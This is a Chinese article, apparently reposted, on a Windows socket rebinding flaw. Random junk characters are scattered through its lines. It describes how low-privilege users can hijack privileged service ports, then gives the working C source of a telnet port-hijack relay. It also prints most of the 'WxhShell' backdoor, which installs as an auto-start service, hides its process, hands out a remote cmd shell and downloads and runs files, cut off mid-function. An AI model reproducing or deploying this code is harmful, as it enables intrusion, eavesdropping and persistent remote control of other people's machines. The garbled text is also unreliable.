在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
.W0;Vhw" s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
vnv:YQV/ir QPz3IK% saddr.sin_family = AF_INET;
t^<ki?* k'1iquc#u saddr.sin_addr.s_addr = htonl(INADDR_ANY);
SA-r61 G:|=d0 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
3Et t9fBd :k oXS 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
e?XQ, E#M4{a1 这意味着什么?意味着可以进行如下的攻击:
V#d8fRm h%%dRi 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
tt]ZGn* IdL~0;W7 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
ZG-[Gz ZfWF2%]< 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
X}j_k=, C dWDf(SS 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
}!5+G:JAh ]1i1_AR'` 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
':?MFkYC =:7OS>x 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
:g"UG0]; $N17GqoC 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
mMtX: B ez 7 #include
G\o*j| #include
eTY""EWU #include
%0^taA #include
ch:0qgJ DWORD WINAPI ClientThread(LPVOID lpParam);
oxgh;v* int main()
UhF+},gU {
sT% ^W WORD wVersionRequested;
oi/bp#(fa DWORD ret;
ADVHi3b WSADATA wsaData;
"_36WX BOOL val;
c=\H&x3X SOCKADDR_IN saddr;
; Uf]-uS SOCKADDR_IN scaddr;
g{$F;qbkO int err;
G'
a{;3 SOCKET s;
tGh!5EZ6` SOCKET sc;
C\C*'l6d int caddsize;
M}b[;/~ HANDLE mt;
Zjkrne{ DWORD tid;
%:7fAB,PA wVersionRequested = MAKEWORD( 2, 2 );
"A%JT3 err = WSAStartup( wVersionRequested, &wsaData );
VT`C<' if ( err != 0 ) {
9~C$C printf("error!WSAStartup failed!\n");
{qjw
S1v return -1;
94xRKQ} }
'"<h;| saddr.sin_family = AF_INET;
~OQ/ |ws vB T]a //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
Q GQ}I uf&Ke
k, saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
~xP4}gs1 saddr.sin_port = htons(23);
fp2.2 @[ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
S2EeC&-AR {
vB9v8@[I& printf("error!socket failed!\n");
]2o? Gnn@ return -1;
zz~AoX7V6 }
B&k"B?9mL val = TRUE;
&KZr`"cT# //SO_REUSEADDR选项就是可以实现端口重绑定的
n{v[mqm^ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
dAj;g9N/h {
>YW_}kd printf("error!setsockopt failed!\n");
` p)$7! return -1;
G^=C#9c.m }
| ?])]F //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
%N
}0,a0 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
pSlosv(6 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
bB`p-1 C
Nt if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
%nkP?gn"a {
h
TY7`m"> ret=GetLastError();
i*g>j <` printf("error!bind failed!\n");
#:n:3]t return -1;
BK16~Wl }
zw,=mpf3_ listen(s,2);
[#Y7iN& while(1)
&>&UqWL {
PQFr4EY?i caddsize = sizeof(scaddr);
v*k}{M //接受连接请求
h1`u-tc2x sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
iw==q:$ if(sc!=INVALID_SOCKET)
QCvz| ) {
",gWO8T mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
tE]0
#B)D< if(mt==NULL)
{[%kn rRJ {
r.T!R6v} printf("Thread Creat Failed!\n");
!E+. ( break;
.W)%*~ O!; }
&6mXsx$ }
5bKm)|4z6 CloseHandle(mt);
_9Zwg+oO[ }
+vh 4I closesocket(s);
o> i`Jq& WSACleanup();
vw/L|b7G return 0;
>
R5<D'cEN }
:6r)HJ5sg DWORD WINAPI ClientThread(LPVOID lpParam)
Ckc4U. t| {
AvS<b3EoN SOCKET ss = (SOCKET)lpParam;
#nOS7Q#uW SOCKET sc;
}pzUHl> unsigned char buf[4096];
=5jng. SOCKADDR_IN saddr;
?UGA-^E1 long num;
bdUe,2Yi n DWORD val;
$ 3/G)/A DWORD ret;
.+ w#n< //如果是隐藏端口应用的话,可以在此处加一些判断
|6d0,muN //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
CtO `t5 saddr.sin_family = AF_INET;
<.yL&$9 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
yRt>7'@X saddr.sin_port = htons(23);
%3r`EIB6 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
nr t3wqJ {
r(#]Z printf("error!socket failed!\n");
hkhk,bhI return -1;
wNX2* }
O-D${== val = 100;
YAvOV-L if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
gLyE,1Z}u {
KkJK5dZo ret = GetLastError();
dO{a!Ca return -1;
Z+*t=?L,,G }
_Bp{~-fO if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Qg\{d)X[N {
Pq@%MF]5 ret = GetLastError();
Av#_cL return -1;
Xj^Hy"HC^~ }
`?f Y!5BA if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
@6N$!Q? {
AD , printf("error!socket connect failed!\n");
y@ 'm D*z closesocket(sc);
B7^*xskH closesocket(ss);
e{"r3* return -1;
mjwh40x.o }
CE'd`_;HLn while(1)
>8*J ;(:W {
"?<$>\@;
q //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
lLb"><8a //如果是嗅探内容的话,可以再此处进行内容分析和记录
P'dH*}H //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
i^2yq&uT( num = recv(ss,buf,4096,0);
Gidh7x if(num>0)
!BocF<U E send(sc,buf,num,0);
(")IU{>c6 else if(num==0)
9mEt**s
Ur break;
8 )W{C> num = recv(sc,buf,4096,0);
?%RN? O( if(num>0)
VX!UT=; send(ss,buf,num,0);
E9]/sFA-] else if(num==0)
ZT\=:X*e break;
"5+x6/9b }
Z?7XuELKV closesocket(ss);
0KQDw closesocket(sc);
8hK\Ya:mP return 0 ;
Z+qTMm }
+~6Nq(kV 1m52vQSo3l jgfl|;I?pg ==========================================================
w*E0f?s Q>,EYb>wI 下边附上一个代码,,WXhSHELL
nsRZy0@$t xzqgem`[\ ==========================================================
\,b@^W6e> X~`<ik{q #include "stdafx.h"
*Z+8L*k97 jI-\~ #include <stdio.h>
PW[NW-S`c #include <string.h>
Xlw8>.\ #include <windows.h>
6WN1DW #include <winsock2.h>
/n9yv #include <winsvc.h>
^,?dk![1Cv #include <urlmon.h>
=sR]/XSK eq|G\XJ #pragma comment (lib, "Ws2_32.lib")
}3"FQ/6C #pragma comment (lib, "urlmon.lib")
>8pmClVvmR $<y10DfO #define MAX_USER 100 // 最大客户端连接数
A1mxM5N #define BUF_SOCK 200 // sock buffer
)@X
`B d #define KEY_BUFF 255 // 输入 buffer
X/5\L.g2 K,VN?t<h #define REBOOT 0 // 重启
)N8[@ #define SHUTDOWN 1 // 关机
5iG+O4n% AS}
FRNIVx #define DEF_PORT 5000 // 监听端口
$[p<}o/6v] vbDSNm#Yv #define REG_LEN 16 // 注册表键长度
+, SUJ| #define SVC_LEN 80 // NT服务名长度
9vAY|b^ HW{si]~q // 从dll定义API
D2U")g}U typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
L=7U#Q/DE typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
X"S-f;b# typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
_o
2pyV& typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
A@-A_=a, YkPc& // wxhshell配置信息
MQ9Nn|4 struct WSCFG {
(Hr_gkGtM int ws_port; // 监听端口
Mn-f char ws_passstr[REG_LEN]; // 口令
Qj?qWVapA int ws_autoins; // 安装标记, 1=yes 0=no
-FAAP&LG char ws_regname[REG_LEN]; // 注册表键名
I$#B#w?!$r char ws_svcname[REG_LEN]; // 服务名
QWo_Zg0" char ws_svcdisp[SVC_LEN]; // 服务显示名
xHA6 char ws_svcdesc[SVC_LEN]; // 服务描述信息
b"au9:F4@7 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
w4: int ws_downexe; // 下载执行标记, 1=yes 0=no
HG1)q\Xd char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
syEWc(5 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
4oY<O #s'UA!) };
36NENzK Q:
H`TSR] // default Wxhshell configuration
!N`$`qAK struct WSCFG wscfg={DEF_PORT,
G lz0`z "xuhuanlingzhe",
{HJzhIgCf 1,
}`O_ "Wxhshell",
P,$|.pd' "Wxhshell",
S(K}.C1x "WxhShell Service",
|C \%H R "Wrsky Windows CmdShell Service",
kl0!*j "Please Input Your Password: ",
;3nR_6\ 1,
l17sJ! I "
http://www.wrsky.com/wxhshell.exe",
dSD7(s! "Wxhshell.exe"
:YZqrcr} };
MH"{N
"| Mw0Kg9M // 消息定义模块
VSK!Pc.G} char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
8{m5P8w' char *msg_ws_prompt="\n\r? for help\n\r#>";
X=:|v<E
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
Ez3>}E, char *msg_ws_ext="\n\rExit.";
L(p{>Ykcc char *msg_ws_end="\n\rQuit.";
;1S~'B&1Q char *msg_ws_boot="\n\rReboot...";
Mr5E\~K>s char *msg_ws_poff="\n\rShutdown...";
EJd l%j char *msg_ws_down="\n\rSave to ";
`}b#O}z)^ m&GxLT6 char *msg_ws_err="\n\rErr!";
(<= e? char *msg_ws_ok="\n\rOK!";
.RI{\ i` >)/,5VSE char ExeFile[MAX_PATH];
/rKdxsI* int nUser = 0;
2D5S%27, HANDLE handles[MAX_USER];
9WXJz; int OsIsNt;
C q/936`O : ryE`EhB SERVICE_STATUS serviceStatus;
X*Ibk-PUM SERVICE_STATUS_HANDLE hServiceStatusHandle;
!`u ])d_B\)Kck // 函数声明
px@:t} int Install(void);
(*.t~6c?5 int Uninstall(void);
l?F&I.{J int DownloadFile(char *sURL, SOCKET wsh);
xQ4'$rL1d int Boot(int flag);
PT9,R^2T! void HideProc(void);
:8}iZ. int GetOsVer(void);
=%p%+F@RlW int Wxhshell(SOCKET wsl);
X[Lwx.Ly8 void TalkWithClient(void *cs);
!xU1[,9 int CmdShell(SOCKET sock);
]et4B+=i int StartFromService(void);
N;<.::x int StartWxhshell(LPSTR lpCmdLine);
d?j_L`?+ Z9:erKT VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
)2@_V % VOID WINAPI NTServiceHandler( DWORD fdwControl );
x%acWeV5 CM}1:o<<N // 数据结构和表定义
fl{wF@C6 SERVICE_TABLE_ENTRY DispatchTable[] =
pEc|h*p8 {
8PWx>}XPt {wscfg.ws_svcname, NTServiceMain},
0JQ0lzk1 {NULL, NULL}
K#j<G]I( @ };
2v
^bd^]u: EhEUkZE3) // 自我安装
&<!DNXQ int Install(void)
hJqLH?Ri {
hXsd12 char svExeFile[MAX_PATH];
/~w!7n<7 HKEY key;
fS08q9,S / strcpy(svExeFile,ExeFile);
0?)U?=>]p xc%\%8C} // 如果是win9x系统,修改注册表设为自启动
I3;{II if(!OsIsNt) {
jOJ$QT if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
X!} t`` RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
w"s;R8 RegCloseKey(key);
%M=[h2SN if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
v/n4Lp$W^ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
KeU|E<|! RegCloseKey(key);
9H@I<`qGC return 0;
R3nCk-Dq }
^/|agQ7D2 }
P8tpbdZE- }
l+6y$2QR else {
}T@^wY_Ow J%G
EIe| // 如果是NT以上系统,安装为系统服务
vwVK^B SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
&PHejG_# if (schSCManager!=0)
3F5Y#[L` {
RlRkw+%m SC_HANDLE schService = CreateService
8dg\_H_ (
I{8fTod schSCManager,
hT`kma wscfg.ws_svcname,
dP>~ExYtm wscfg.ws_svcdisp,
6S#Y$2
P SERVICE_ALL_ACCESS,
/}G+PUk7 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
t')47k\ SERVICE_AUTO_START,
?F{sym@i SERVICE_ERROR_NORMAL,
hlY]s
&0 svExeFile,
en"]u,! NULL,
6#Ag^A NULL,
(@t O1g NULL,
_zAHN0d NULL,
R+'$V$g\X NULL
K?;_T$^K );
T&M*sydA if (schService!=0)
?C('
z7 {
tUS)1*{_ CloseServiceHandle(schService);
]V|rOt xb CloseServiceHandle(schSCManager);
3[R<JrO strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
^/nj2" strcat(svExeFile,wscfg.ws_svcname);
}ll&qb if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
W'aZw9 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
iFJ2dFA RegCloseKey(key);
}6;K+INT return 0;
3V)ef$Y0 }
8nt3Sm }
iD*%' #u CloseServiceHandle(schSCManager);
7Hghn"ol }
PI
KQ}aq= }
C,*3a`/2M^ "Di27Rq return 1;
!Tc
jJ2T }
~d0:>8zQR OT1 // 自我卸载
O$Wi=5 int Uninstall(void)
1u?h4wC {
#w%d HKEY key;
9q
+I @DiXe[kI if(!OsIsNt) {
G.2\Sw if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
pbfIO47ZC RegDeleteValue(key,wscfg.ws_regname);
f`ro{p RegCloseKey(key);
`pMI@"m if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
h |Ofi RegDeleteValue(key,wscfg.ws_regname);
a`c#-
je RegCloseKey(key);
4LG[i}u.N return 0;
26SXuFJ@ }
j@N z }
CSKOtqKQ) }
1D*oXE9Ig else {
fL0dy[Ch@ 9((BOq SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
D-{;;<nIr` if (schSCManager!=0)
'eyzH[l,( {
lk.]!K$} SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
ew13qpt)<L if (schService!=0)
x)35}mi){L {
(`W_ -PI if(DeleteService(schService)!=0) {
7a$K@iWU CloseServiceHandle(schService);
j6!C/UgQ CloseServiceHandle(schSCManager);
"_LDs(& return 0;
Rz sgPk }
v|!u]!JM CloseServiceHandle(schService);
;rgg O0Y }
jeKqS CloseServiceHandle(schSCManager);
|j 9d.M }
~]sj.>P }
nt 9LBea )b%t4~7 return 1;
Lud[.>i }
f ZEyXb A-n@:` n~ // 从指定url下载文件
7+N0$0w%r int DownloadFile(char *sURL, SOCKET wsh)
lu_kir~ {
gxKL
yZO! HRESULT hr;
:Dt]sE_d char seps[]= "/";
kM:Z(Z7$ char *token;
Z\lJE>1 char *file;
,6J{-Iu char myURL[MAX_PATH];
CP]nk0 char myFILE[MAX_PATH];
-_*ux! 7
KuUV!\h` strcpy(myURL,sURL);
~FP4JM,y6 token=strtok(myURL,seps);
Kw%to9eh) while(token!=NULL)
(:(Imk;9 {
_i3?;Fds file=token;
c-GS:'J{ token=strtok(NULL,seps);
:P2{^0$ }
:VkuK@Th` ;[qA?<GJ GetCurrentDirectory(MAX_PATH,myFILE);
<?2g\+{s9 strcat(myFILE, "\\");
CXQ +h strcat(myFILE, file);
5dvP~sw send(wsh,myFILE,strlen(myFILE),0);
WyA`V C send(wsh,"...",3,0);
J-UqH3({Z, hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
1Yk!R9. if(hr==S_OK)
9QXBz=Fnf return 0;
{4F=].! else
QZh#&Qf; return 1;
+g9CklJ Exb?eHO }
q`Rc \aWB% .](~dVp%~ // 系统电源模块
qjm6\ii:) int Boot(int flag)
V}Ok>6(~ {
U/#X,Bi~ HANDLE hToken;
wsKOafrV TOKEN_PRIVILEGES tkp;
7Dt*++: o8B$6w:_ if(OsIsNt) {
'bQjJRq! OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
We`6# \Z X LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
h5o6G1ur tkp.PrivilegeCount = 1;
7&hhKEA tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
EXF|;@-" AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
zhC#< if(flag==REBOOT) {
rq#\x{l if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
h@2YQgw` return 0;
g`Kh&|GU }
1 u~Xk? else {
c{"qrwLA if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
;RW0Dn)Q return 0;
I^GZ9@UE }
Fa0NHX2: }
17E,Qnf else {
,
3&DA if(flag==REBOOT) {
Q)/oU\ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
WvoJ^{\4N* return 0;
R:5uZAx }
WHy
r;m3) else {
s~NJy'Y if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
$=9g,39 return 0;
FyhLMW3 }
O<`N0 }
}~#Tsv o)L)| return 1;
uPVO!`N3 }
LOEiV >^~W'etX| // win9x进程隐藏模块
9 gc0Ri[4m void HideProc(void)
)i^S:2 {
adn2&7H `'E(L& HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
zHX7%x,Cq if ( hKernel != NULL )
h]vuBHJ} {
"oT&KW pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
&?H`MCvt ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
adtgNwg FreeLibrary(hKernel);
%BwvA_T'Q }
M,vCAZ ZK4d;oa", return;
7PbwCRg }
o_sb+Vn| $/kZKoF{f // 获取操作系统版本
fyF8RTm{ int GetOsVer(void)
gl~9|$ivj> {
SUb:0GUa OSVERSIONINFO winfo;
,Ma%"cWVC winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
NtG^t}V GetVersionEx(&winfo);
`D? &)Y if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
q\G7T{t$. return 1;
O%1uBc else
T(=Z0M return 0;
V`4/oM` }
Gm[XnUR7V 6Qn};tbnD // 客户端句柄模块
?s@=DDB\u int Wxhshell(SOCKET wsl)
+F92_a4 {
n
>@Qx$- SOCKET wsh;
ROJ=ZYof struct sockaddr_in client;
cKB1o0JsYJ DWORD myID;
6(/*E=bOKV K*P:FCz while(nUser<MAX_USER)
)@],0yL {
f<;eNN int nSize=sizeof(client);
Oh3A?!y# wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
x3l~k Z( if(wsh==INVALID_SOCKET) return 1;
qm6 X5T f&I5bPS7} handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
}BWT21'-Y if(handles[nUser]==0)
F):1@.S closesocket(wsh);
ODxCD%L else
ig ^x%!; nUser++;
! JauMR }
Zg3
/,:1 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
^+wA,r. {ceY:49 return 0;
Tq,dlDDOR }
-#Jp@6'k% lvH} 8lJ // 关闭 socket
G4^6o[ x void CloseIt(SOCKET wsh)
i|xC#hV {
!
Q8y]9O closesocket(wsh);
a(AYY<g nUser--;
/<k]mY cu ExitThread(0);
m>f8RBp]' }
0|| 5r# 32p9(HQ // 客户端请求句柄
,rX|_4n* void TalkWithClient(void *cs)
~Kt2g\BSok {
9vBW CCf ,7)zavA SOCKET wsh=(SOCKET)cs;
Ud_0{%@ char pwd[SVC_LEN];
_Mi*Fvj char cmd[KEY_BUFF];
i,mZg+;w char chr[1];
'yR\%#s6 int i,j;
)
D5JA` $U"pdf while (nUser < MAX_USER) {
W)AfXy
:)F0~Q if(wscfg.ws_passstr) {
_q}^#- if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
-Np}<O`./ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
y?UB?2VN //ZeroMemory(pwd,KEY_BUFF);
RBpv40n0 i=0;
zFr#j~L" while(i<SVC_LEN) {
x$z>.4 EKUiX#p:M // 设置超时
/H$:Q|T} fd_set FdRead;
A&V'WahC@I struct timeval TimeOut;
P} w0= FD_ZERO(&FdRead);
|<JBoE]3B FD_SET(wsh,&FdRead);
H#3Ma1z TimeOut.tv_sec=8;
d
wku6lCk TimeOut.tv_usec=0;
Q!(qb int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
lL,0IfC, if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
4'y@ne}g! |?v+8QL,;t if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
#&Rx?V pwd
=chr[0]; Y+gNi_dE
if(chr[0]==0xd || chr[0]==0xa) { Nk<H=kw+
pwd=0; eC@b-q
break; h*?]A
} fs2y$HN
i++; w&
)ApfL
} i^)JxEPr w
KB$Y8[
// 如果是非法用户,关闭 socket Qp-P[Tc
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,"5xKF+cS
} !?z"d
cRWYS[O?-
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Pu(kCH{
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;Q<2Y#
%>1C($^
while(1) { 4JL]?75
UYGO|lkEU
ZeroMemory(cmd,KEY_BUFF); y24/lc
Ej<`HbJ'Q
// 自动支持客户端 telnet标准 .SDE6nvbW
j=0; MC1&X'
while(j<KEY_BUFF) { @DKph!cr
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x??H%'rP
cmd[j]=chr[0]; F#z1 sl'
if(chr[0]==0xa || chr[0]==0xd) { Fnuheb'&m
cmd[j]=0; #'I<q
break; >vDi,qmZ
} ]) #?rRw
j++; 7)BK&kpVr
} c1<jY~U
,uZz?7mO
// 下载文件 d~y]7h |
if(strstr(cmd,"http://")) { - H`,`#{
send(wsh,msg_ws_down,strlen(msg_ws_down),0); j rg B56LL
if(DownloadFile(cmd,wsh)) OpmPw4?}
send(wsh,msg_ws_err,strlen(msg_ws_err),0); G1:"Gxja
else ZeH=]G4Zv7
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^2nH6,LPS
} %-an\.a.
else { q*}$1 zb
B-wF1!Jv
switch(cmd[0]) { L(}/W~En
)Ut9k
// 帮助 8COGe=+o
case '?': { >[<f\BN|
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); o`nJJ:Cxq-
break; ,#hNHFa'JH
} )!5"\eys
// 安装 HG3iK
case 'i': { #66u<FaG
if(Install()) 54Vb[;`Kkb
send(wsh,msg_ws_err,strlen(msg_ws_err),0); n66b(6"mO2
else UW&K\P
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Mr@{3do$
break; c
LfPSA
} E0eZal],
// 卸载 Dk}txw}#
case 'r': { 5KW
n >n
if(Uninstall()) 6>[J^k%~w)
send(wsh,msg_ws_err,strlen(msg_ws_err),0); CIQ9dx7>
else G5UNW<P2C
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v %S$5
break; ygxaT"3"=
} RggO|s+0;
// 显示 wxhshell 所在路径 |&~);>Cq2
case 'p': { wvH*<,8Vq
char svExeFile[MAX_PATH]; '&Tz8.jp~
strcpy(svExeFile,"\n\r"); nM`pnR_
strcat(svExeFile,ExeFile); uk3PoB^>
send(wsh,svExeFile,strlen(svExeFile),0); |%j7Es
break; ^geY Ay
} F ZN}T{<
// 重启 5G=fJAG
case 'b': { ZBjb f_M:
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); O*9d[jw[
if(Boot(REBOOT)) IW=%2n(<1
send(wsh,msg_ws_err,strlen(msg_ws_err),0); &7KX`%K"D
else { ~uuM0POo
closesocket(wsh); ZSn6JV'g
ExitThread(0); z=TuUl@
} v&xhS
yZ
break; zI_pP?4;.q
} SA~oGgk=P
// 关机 ]C>h_,EZc
case 'd': { nz Klue
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); j^D/,SW
if(Boot(SHUTDOWN)) 7
;x
to =
send(wsh,msg_ws_err,strlen(msg_ws_err),0); vZIx>
else { :~~\{fm
closesocket(wsh); =9A!5
ExitThread(0); 4qyPjAG
} L]=LY
break; Z
)X(
} "SpsSQ
// 获取shell 6}:(m#+
case 's': { q ;e/gP2
CmdShell(wsh); @Dd3mWKq
closesocket(wsh); 1+Bj` ACP
ExitThread(0); YGZa##i
break; !uhh_3RH
} +`TwBN,kp-
// 退出 p9eTrFDy?
case 'x': { nu6v@<<F>
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [-1Yyy1}
CloseIt(wsh); ]F4|@+\9
break; Y~UWUF%aK
} nW ]T-!
// 离开 tA-p!#V<k1
case 'q': { v#9Uy}NJ9
send(wsh,msg_ws_end,strlen(msg_ws_end),0); E\VKlu4
closesocket(wsh); .WlZT-
WSACleanup(); MwWN;_#EO)
exit(1); NZuylQ)0
break; ":L d}~>
} r,ep{
p
} 2&:nHZ)
} Rc~63![O.
\m+;^_;5GW
// 提示信息 "=UhTE
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |w.5*]?H
} +\Je
B/F
} _x<7^^VT
0fx.n
return; kQ .3J.Q5
} !D9V9p
+P=I4-?eX
// shell模块句柄 MQVEO5
int CmdShell(SOCKET sock) W 6CNMI]
{ !H`uN
STARTUPINFO si; cB7'>L
ZeroMemory(&si,sizeof(si)); l6-%)6u>
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; f:h<tlob
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9<"l!noy
PROCESS_INFORMATION ProcessInfo; <#e!kWGR?
char cmdline[]="cmd"; U
zMIm
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *YWk.
return 0; zmU>
} cnM`ywKW
^ ]SU (kY
// 自身启动模式 :Q>{Y
int StartFromService(void) ]dnB,
{ I(+%`{Wv
typedef struct 3E;<aCG?
{ %F] :nk`
DWORD ExitStatus; g#[,4o;
